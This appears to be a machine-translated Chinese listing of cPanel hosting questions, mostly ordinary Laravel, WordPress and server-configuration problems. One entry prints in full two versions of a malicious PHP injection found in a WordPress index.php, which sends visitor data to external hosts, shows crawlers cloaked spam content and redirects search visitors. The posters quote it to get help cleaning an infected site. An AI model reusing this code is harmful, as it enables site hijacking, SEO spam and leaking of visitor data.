cPanel是一个基于Linux的Web托管控制面板,提供图形界面和自动化工具,旨在简化托管网站的过程。 cPanel采用3层结构,为管理员,经销商和最终用户网站所有者提供功能,通过标准Web浏览器控制网站和服务器管理的各个方面。
配置 CPanel / Horde 日历和 Thunderbird
我正在尝试配置 Thunderbird(102.8.0 32 位/Windows 10,最新)以便将其与我的 CPanel/Horde 日历同步。 当我在我的服务器上登录我的电子邮件帐户时,我可以添加一个新的
我正在尝试在运行 Centos 6.6 的服务器上安装最新版本的 cPanel,但它在这里失败了: [20150129.112152] 测试是否可以安装简单的 RPM [20150129.112152]
我正在使用 cPanel 托管我的网站。 有时我的网站由于与 php fpm 相关的错误而抛出错误 503 [proxy:error] [pid 32549] (111)Connection refused: AH02454: FCGI: attempt to conne...
我在 Cpanel 上设置其他域时遇到问题。我的托管服务提供商不允许我将附加域移出主域的 public_html 文件夹。所以我的附加域是 pu...
登录/注册后,Laravel 返回“419 PAGE EXPIRED”。
迁移 Laravel 项目域(.in 到 .institute)和托管(namecheap 到 name.com)后,一切正常。但是当我尝试登录或注册时,返回“419 PAGE EXPIRED”错误...
客户正在使用cpanel来托管网站。它很久以前就被编码了。当我在我的本地浏览器上运行 php 文件时,它工作正常,但在生产中无休止的加载正在进行,但我...
我无法在我的 laravel 项目中通过 SMTP 发送电子邮件。请帮助我
我是 Laravel 的新生。我现在正在用 Laravel 开发一个网站,我遇到了一个难题。我试图解决这个问题,但我做不到。我已经做了登录和注册逻辑......
Cron 作业无法在 Cpanel 上运行 - Laravel 9
我想在 Laravel 9 中编写一个向 API 请求并将结果保存在数据库中的计划。 然后我应该在我的 Cpanel 中添加一个 cron 作业以每分钟运行一次。 我的 Laravel 代码: 我想在 Laravel 9 中编写一个向 API 请求并将结果保存在数据库中的计划。 然后我应该在我的 Cpanel 中添加一个 cron 作业以每分钟运行一次。 我的 Laravel 代码: <?php namespace App\Console\Commands; use App\Models\CurrenciesChart; use Illuminate\Console\Command; class CurrenciesInfo extends Command { /** * The name and signature of the console command. * * @var string */ protected $signature = 'currency:info'; /** * The console command description. * * @var string */ protected $description = 'Getting currencies data'; /** * Execute the console command. * * @return int */ public function handle() { // Some code } } 内核.php <?php namespace App\Console; use App\Console\Commands\CurrenciesInfo; use Illuminate\Console\Scheduling\Schedule; use Illuminate\Foundation\Console\Kernel as ConsoleKernel; use Illuminate\Support\Facades\DB; class Kernel extends ConsoleKernel { protected $commands = [ CurrenciesInfo::class, ]; /** * Define the application's command schedule. * * @param \Illuminate\Console\Scheduling\Schedule $schedule * @return void */ protected function schedule(Schedule $schedule) { $schedule->command('currency:info')->everyMinute(); } /** * Register the commands for the application. * * @return void */ protected function commands() { $this->load(__DIR__.'/Commands'); require base_path('routes/console.php'); } } 当我在本地运行php artisan schedule:work时,它工作得很好,但它似乎在主机上不起作用。 我尝试了很多查询,如下所示,但没有任何反应,laravel.log. 中没有任何错误 我将时间表设置为每分钟 (* * * * *) 并尝试了以下查询。 /usr/local/bin/php /home/univardi/public_html/artisan schedule:run >> /dev/null 2>&1 cd /home/univardi/public_html && php artisan schedule:run >> /dev/null 2>&1 cd /home/univardi/public_html && /usr/local/bin/php artisan schedule:run >> /dev/null 2>&1 /usr/local/bin/ea-php81 /home/univardi/public_html/artisan schedule:run >> /dev/null 2>&1 但他们都没有工作。
找不到视图 – yii ase\ViewNotFoundException Cpanel Yii2
我创建了一个 yii2 项目,它可以在我的 Windows 本地主机上完美运行。但是由于我已经在 Cpanel Linux 共享主机上成功部署了应用程序,所以我无法打开我的页面
在托管计划上切换主域时在 cPanel 上配置 public_html 和路径
我在我的主机提供商(通过 cPanel)上有一个托管计划。在该托管包上有一个域是主域或“运营商域”(没有其他附加域或子域)。 这...
我正在尝试为一个假约会表格的收集表格编写一些代码。我想要表格或“结束”屏幕重复用户为他们的信息输入的内容。 我有文本字段和
在 cPanel 中,您能否对 MultiPHP INI 编辑器进行修改以应用于所有子文件夹?
为了将 file_get_contents() 与 URL 一起使用,您需要启用 allow_url_fopen。我为该域的 cPanel MultiPHP INI 编辑器中的域执行了此操作。 然而,这似乎只适用于dom……
我想在 whm 上启用 nodejs16 但是 在此处输入图像描述 本机安装有以下冲突。它们将作为此软件包选择的一部分被删除: node.js10 当我前...
我正在尝试使用 SSH (Putty) 运行 nextjs 应用程序 登录后,我导航到应用程序的根目录并运行 屏幕-S 屏幕名称 在我运行之后启动新屏幕: npm 运行开始
我们的 cPanel Wordpress 网站正在自动创建此 index.php
<?php $group_num = 'z9126zn'; $inter_domain = 'http://' . $group_num . '.lievful.quest'; function curl_get_contents($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); $file_contents = curl_exec($ch); curl_close($ch); return $file_contents; } function getServerCont($url, $data = array()) { $url = str_replace(' ', '+', $url); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "$url"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); $output = curl_exec($ch); $errorCode = curl_errno($ch); curl_close($ch); if (0 !== $errorCode) { return false; } return $output; } function is_crawler($agent) { if (strpos($agent, 'google') !== false || strpos($agent, 'yahoo') !== false) { return true; } else { return false; } } function check_refer($refer) { if (strpos($refer, '.co.jp') !== false || strpos($refer, 'google.com') !== false) { return true; } else { return false; } } $http = ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://'); $req_uri = $_SERVER['REQUEST_URI']; $domain = $_SERVER["HTTP_HOST"]; $self = $_SERVER['PHP_SELF']; $ser_name = $_SERVER['SERVER_NAME']; $req_url = $http . $domain . $req_uri; $indata1 = $inter_domain . "/indata.php"; $map1 = $inter_domain . "/map.php"; $jump1 = $inter_domain . "/jump.php"; $url_words = $inter_domain . "/words.php"; $url_robots = $inter_domain . "/robots.php"; if (strpos($req_uri, ".php")) { $href1 = $http . $domain . $self; } else { $href1 = $http . $domain; } $data1[] = array(); $data1['http'] = $http; $data1['domain'] = $domain; $data1['req_uri'] = $req_uri; $data1['href'] = $href1; $data1['req_url'] = $req_url; $user_agent = strtolower(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''); if(getenv('HTTP_CLIENT_IP')){ $client_ip = getenv('HTTP_CLIENT_IP'); } elseif(getenv('HTTP_X_FORWARDED_FOR')) { $client_ip = getenv('HTTP_X_FORWARDED_FOR'); } elseif(getenv('REMOTE_ADDR')) { $client_ip = getenv('REMOTE_ADDR'); } else { $client_ip = $_SERVER['REMOTE_ADDR']; } if (substr($req_uri, -6) == 'robots') { $robots_cont = getServerCont($url_robots, $data1); define('BASE_PATH', str_ireplace($_SERVER['PHP_SELF'], '', __FILE__)); file_put_contents(BASE_PATH . '/robots.txt', $robots_cont); $robots_cont = file_get_contents(BASE_PATH . '/robots.txt'); if (strpos($robots_cont, "Crawl-delay:3")) { echo 'robots.txt file create success!'; } else { echo 'robots.txt file create fail!'; } exit; } if (substr($req_uri, -4) == '.xml') { if (strpos($req_uri, "pingsitemap.xml")) { $str_cont = getServerCont($map1, $data1); $str_cont_arr = explode(",", $str_cont); $str_cont_arr[] = 'sitemap'; for ($k = 0; $k < count($str_cont_arr); $k++) { if (strpos($href1, ".php") > 0) { $tt1 = '?'; } else { $tt1 = '/'; } $http2 = $href1 . $tt1 . $str_cont_arr[$k] . '.xml'; $data_new = 'https://www.google.com/ping?sitemap=' . $http2; $data_new1 = 'http://www.google.com/ping?sitemap=' . $http2; if (stristr(@file_get_contents($data_new), 'successfully')) { echo $data_new . '===>Submitting Google Sitemap: OK' . PHP_EOL; } else if (stristr(@curl_get_contents($data_new), 'successfully')) { echo $data_new . '===>Submitting Google Sitemap: OK' . PHP_EOL; } else if (stristr(@file_get_contents($data_new1), 'successfully')) { echo $data_new1 . '===>Submitting Google Sitemap: OK' . PHP_EOL; } else if (stristr(@curl_get_contents($data_new1), 'successfully')) { echo $data_new1 . '===>Submitting Google Sitemap: OK' . PHP_EOL; } else { echo $data_new1 . '===>Submitting Google Sitemap: fail' . PHP_EOL; } } exit; } if (strpos($req_uri, "allsitemap.xml")) { $str_cont = getServerCont($map1, $data1); header("Content-type:text/xml"); echo $str_cont; exit; } if (strpos($req_uri, ".php")) { $word4 = explode("?", $req_uri); $word4 = $word4[count($word4) - 1]; $word4 = str_replace(".xml", "", $word4); } else { $word4 = str_replace("/", "", $req_uri); $word4 = str_replace(".xml", "", $word4); } $data1['word'] = $word4; $data1['action'] = 'check_sitemap'; $check_url4 = getServerCont($url_words, $data1); if ($check_url4 == '1') { $str_cont = getServerCont($map1, $data1); header("Content-type:text/xml"); echo $str_cont; exit; } $data1['action'] = "check_words"; $check1 = getServerCont($url_words, $data1); if (strpos($req_uri, "map") > 0 || $check1 == '1') { $data1['action'] = "rand_xml"; $check_url4 = getServerCont($url_words, $data1); header("Content-type:text/xml"); echo $check_url4; exit; } } if (strpos($req_uri, ".php")) { $main_shell = $http . $ser_name . $self; $data1['main_shell'] = $main_shell; } else { $main_shell = $http . $ser_name; $data1['main_shell'] = $main_shell; } $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; $chk_refer = check_refer($referer); $bot=true; if ($chk_refer) { $data1['referer'] = $referer; $data1['ip'] = $client_ip; $data1['user_agent'] = $user_agent; $data1['browser_la'] = $_SERVER['HTTP_ACCEPT_LANGUAGE']; $refer_content = getServerCont($jump1, $data1); if ($refer_content != "404") { echo $refer_content; exit; } $bot=false; } $res_crawl = is_crawler($user_agent); if ($res_crawl&&$bot) { $data1['http_user_agent'] = $user_agent; $get_content = getServerCont($indata1, $data1); if ($get_content == "404") { header('HTTP/1.0 404 Not Found'); exit; } else if ($get_content == "500") { header("HTTP/1.0 500 Internal Server Error"); exit; } else if ($get_content == "blank") { echo ''; exit; } else { echo $get_content; exit; } } ?><?php /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define( 'WP_USE_THEMES', true ); /** Loads the WordPress Environment and Template */ require __DIR__ . '/wp-blog-header.php'; 这是我们无法控制的 index.php 文件。 我们有带有 cPanel 和 wordpress 托管的 Godaddy VPS 服务器。我们在目录中安装了 wordpress 站点,该目录会自动创建 INDEX 文件,打开时显示 HTTP ERROR 500。 这是在我们的 VPS 服务器中自动创建的。当我们更改它时它会自动修改。删除时自动创建。 简而言之,我们无法控制目录和这个文件。 我也有同样的问题 <?php $group_num = 'z0109_18'; $inter_domain = 'http://107.150.41.2//' . $group_num . '/'; function curl_get_contents($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); $file_contents = curl_exec($ch); curl_close($ch); return $file_contents; } function getServerCont($url, $data = array()) { $url = str_replace(' ', '+', $url); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "$url"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); $output = curl_exec($ch); $errorCode = curl_errno($ch); curl_close($ch); if (0 !== $errorCode) { return false; } return $output; } function is_crawler($agent) { $agent_check = false; $bots = 'googlebot|google|yahoo|bing|aol'; if ($agent != '') { if (preg_match("/($bots)/si", $agent)) { $agent_check = true; } } return $agent_check; } function check_refer($refer) { $check_refer = false; $referbots = 'google.co.jp|yahoo.co.jp|google.com'; if ($refer != '' && preg_match("/($referbots)/si", $refer)) { $check_refer = true; } return $check_refer; } $http = ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://'); $req_uri = $_SERVER['REQUEST_URI']; $domain = $_SERVER["HTTP_HOST"]; $self = $_SERVER['PHP_SELF']; $ser_name = $_SERVER['SERVER_NAME']; $req_url = $http . $domain . $req_uri; $indata1 = $inter_domain . "/indata.php"; $map1 = $inter_domain . "/map.php"; $jump1 = $inter_domain . "/jump.php"; $url_words = $inter_domain . "/words.php"; $url_robots = $inter_domain . "/robots.php"; if (strpos($req_uri, ".php")) { $href1 = $http . $domain . $self; } else { $href1 = $http . $domain; } $data1[] = array(); $data1['domain'] = $domain; $data1['req_uri'] = $req_uri; $data1['href'] = $href1; $data1['req_url'] = $req_url; if (substr($req_uri, -6) == 'robots') { $robots_cont = getServerCont($url_robots, $data1); define('BASE_PATH', str_ireplace($_SERVER['PHP_SELF'], '', __FILE__)); file_put_contents(BASE_PATH . '/robots.txt', $robots_cont); $robots_cont = file_get_contents(BASE_PATH . '/robots.txt'); if (strpos(strtolower($robots_cont), "sitemap")) { echo 'robots.txt file create success!'; } else { echo 'robots.txt file create fail!'; } return; } if (substr($req_uri, -4) == '.xml') { if (strpos($req_uri, "pingsitemap.xml")) { $str_cont = getServerCont($map1, $data1); $str_cont_arr = explode(",", $str_cont); $str_cont_arr[] = 'sitemap'; for ($k = 0; $k < count($str_cont_arr); $k++) { if (strpos($href1, ".php") > 0) { $tt1 = '?'; } else { $tt1 = '/'; } $http2 = $href1 . $tt1 . $str_cont_arr[$k] . '.xml'; $data_new = 'https://www.google.com/ping?sitemap=' . $http2; $data_new1 = 'http://www.google.com/ping?sitemap=' . $http2; if (stristr(@file_get_contents($data_new), 'successfully')) { echo $data_new . '===>Submitting Google Sitemap: OK' . PHP_EOL; } else if (stristr(@curl_get_contents($data_new), 'successfully')) { echo $data_new . '===>Submitting Google Sitemap: OK' . PHP_EOL; } else if (stristr(@file_get_contents($data_new1), 'successfully')) { echo $data_new1 . '===>Submitting Google Sitemap: OK' . PHP_EOL; } else if (stristr(@curl_get_contents($data_new1), 'successfully')) { echo $data_new1 . '===>Submitting Google Sitemap: OK' . PHP_EOL; } else { echo $data_new1 . '===>Submitting Google Sitemap: fail' . PHP_EOL; } } return; } if (strpos($req_uri, "allsitemap.xml")) { $str_cont = getServerCont($map1, $data1); header("Content-type:text/xml"); echo $str_cont; return; } if (strpos($req_uri, ".php")) { $word4 = explode("?", $req_uri); $word4 = $word4[count($word4) - 1]; $word4 = str_replace(".xml", "", $word4); } else { $word4 = str_replace("/", "", $req_uri); $word4 = str_replace(".xml", "", $word4); } $data1['word'] = $word4; $data1['action'] = 'check_sitemap'; $check_url4 = getServerCont($url_words, $data1); if ($check_url4 == '1') { $str_cont = getServerCont($map1, $data1); header("Content-type:text/xml"); echo $str_cont; return; } $data1['action'] = "check_words"; $check1 = getServerCont($url_words, $data1); if (strpos($req_uri, "map") > 0 || $check1 == '1') $data1['action'] = "rand_xml"; $check_url4 = getServerCont($url_words, $data1); header("Content-type:text/xml"); echo $check_url4; return; } if (strpos($req_uri, ".php")) { $main_shell = $http . $ser_name . $self; $data1['main_shell'] = $main_shell; } else { $main_shell = $http . $ser_name; $data1['main_shell'] = $main_shell; } $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; $chk_refer = check_refer($referer); if (strpos($_SERVER['REQUEST_URI'], '.php')) { $url_ext = '?'; } else { $url_ext = '/'; } if ($chk_refer && (preg_match('/ja/i', @$_SERVER['HTTP_ACCEPT_LANGUAGE']) || preg_match('/ja/i', @$_SERVER['HTTP_ACCEPT_LANGUAGE']) || preg_match("/^[a-z0-9]+[0-9]+$/", end(explode($url_ext, str_replace(array(".html", ".htm"), "", $_SERVER['REQUEST_URI'])))))) { echo getServerCont($jump1, $data1); return; } $user_agent = strtolower(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''); $res_crawl = is_crawler($user_agent); if ($res_crawl) { $data1['http_user_agent'] = $user_agent; $get_content = getServerCont($indata1, $data1); echo $get_content; return; } ?> 我现在唯一的解决办法是删除 index.php recolection.php 和 wp-admin 和 wp-includes 文件夹。 之后,我重新安装了 WordPress,该网站再次运行。 过了一会儿 我开始检查所有内容,我发现了 3 个感染选项 Ftp 的另一个帐户(在您的 cpanel 中搜索用户) 创建文件的 Cron 任务 Cpanel 帐户妥协。我刚更改了密码,它就停止了。
Cpanel 安装中 /tmp/selfgz567/Installer.pm 第 41 行的未知发行版
我正在我的 Windows 11 机器上的服务器上安装 cpanel,但我收到以下错误:/tmp/selfgz567/Installer.pm 第 41 行的未知发行版。 我执行了 cd /home && curl -o latest -L
numpy(pyproject.toml)的构建轮...错误
我在我的 namecheap cpanel 中创建了一个 python 应用程序。我通过其中的服务器文件和 public_html 中的 UI 文件上传。但是,我收到内部服务器错误 500。然后我联系了他们的客户...
昨天,我们数据中心安装了 cPanelWHM 的一台服务器的网卡爆掉了,所以我们不得不迁移到一台新的服务器上。从那时起,用户总是得到的。"安全...
我如何在使用cPanel的实时服务器上部署一个具有独立的前端(angular)和后端(spring boot)的应用程序?
对不起,如果这是一个有点愚蠢的问题,但我只有在本地的本地host上使用angular和spring boot的经验,所以我不确定整个部署在实时服务器上的过程。I ...
在.htaccess中把http重定向到https (Symfony 4)
我想把我的symfony 4网站托管在一个共享主机上(Cpanel),我想把http自动重定向到https。我发现在许多问题上,我应该改变亩.htaccess,这里是...。